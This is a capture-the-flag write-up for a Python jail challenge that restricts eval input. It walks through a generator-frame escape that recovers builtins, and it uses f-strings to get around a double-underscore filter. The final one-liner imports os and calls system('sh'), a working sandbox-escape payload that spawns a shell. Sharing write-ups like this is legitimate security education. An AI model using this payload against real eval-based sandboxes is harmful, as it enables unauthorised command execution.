Max 420
Show that you are a python whisperer!
Feel free to chuckle every time you see a funny number.
inp = input('Gimme max 420!\n> ')
if not inp.isascii():
quit('Give me ascii please')
if '__' in inp:
quit('No thank you')
if len(inp) > 420:
quit("Don't give me more than your favourite number")
eval(inp, {'__builtins__':{}}, {'__builtins__':{}})
Initial thoughts
The challenge has a few requirements before we can eval our code.
- input needs to be ascii
- no two underscores together used in input
- and length needs to be less than 420
- we need to get RCE
flag file name has random hex appended, so we need more than just file write.
Usually solutions have a way to get back to a class that has builtins, but this seems to not be possible with the limitations of not being able to use __
Research
I spent time trying to look into solutions from the past and I see mentions of gi_frame, which is generator frame. Generators are unique with needing frames. So after research another way of getting builtins is using generator frames and going back until we are out of the eval frame.
I found this frame escape writeup that has code
https://pid-blog.com/article/frame-escape-pyjail
q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
I then spent some time looking into how eval works, and it only works with evaluating conditions.
To get a generator running we can do
(y:=[], y.append(z for z in y), *y[0])
if we add a print to the eval we get back
([<generator object <genexpr> at 0x100de5a80>], None, <generator object <genexpr> at 0x100de5a80>)
which returns a tuple with 3 values, generator array y, None, and generator
if we try to get the gi_frame
(y:=[], y.append(z.gi_frame for z in y), y[0])
we still get the same output
([<generator object <genexpr> at 0x102655a80>], None, <generator object <genexpr> at 0x102655a80>)
and that is because we are not getting the value out from the generator
we can do this by adding a star *
sign before y[0]
(y:=[], y.append(z.gi_frame for z in y), *y[0])
and now we get
([<generator object <genexpr> at 0x1027f9a80>], None, <frame at 0x1027fab00, file '<string>', line 1, code <genexpr>>)
What if we try going back two frames, like in writeup I found
(y:=[], y.append(z.gi_frame.f_back.f_back for z in y), *y[0])
Now we find get back the frame that is in context of the python file.
([<generator object <genexpr> at 0x102bf1a80>], None, <frame at 0x102d1fb90, file '.../max420/chal.py', line 10, code <module>>)
I then can use builtins to import os and call system(“sh”)
(y:=[],y.append(z.gi_frame.f_back.f_back.f_builtins[f"{'_'}_import{'_'}_"]("os") for z in y), *[*y[0]][0].system("sh"))
I figured out you can use f strings as an alternative to not get __
Flag
DDC{gr34t_j0b!_but_h0w_4b0ut_th4t_0th3r_f4v0ur1t3_numb3r_0f_y0urs?!}